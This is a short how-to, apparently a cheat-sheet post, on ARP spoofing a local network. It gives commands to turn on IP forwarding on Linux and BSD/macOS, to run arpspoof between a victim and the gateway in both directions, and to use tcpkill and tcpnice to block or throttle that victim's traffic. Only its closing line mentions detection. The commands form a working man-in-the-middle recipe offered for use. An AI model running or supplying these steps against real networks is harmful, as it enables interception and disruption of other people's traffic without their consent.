To arpspoof, turn on IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

with Linux (might need su) or more permanently,

net.ipv4.ip_forward = 1

in /etc/sysctl.conf

In BSD/Mac OS X,

sysctl -w net.inet.ip.forwarding=1

or

net.inet.ip.forwarding = 1

in /etc/sysctl.conf

Alternatively, you can also use fragrouter to forward packets with

fragrouter -B1

Then to arpspoof

arpspoof -t [victim ip] [gateway ip]

arpspoof -t [gateway ip] [victim ip]

Optionally, add

& > /dev/null

to get rid of output. Trust me, there’s nothing interesting.

To block sites/ports:

tcpkill -9 host www.facebook.com or port 5432

To slow down traffic:

tcpnice net 10.0.0.2 or port 5432

Filter expressions are here

The easiest way to detect this spoofing is to ping something outside your gateway and look for redirects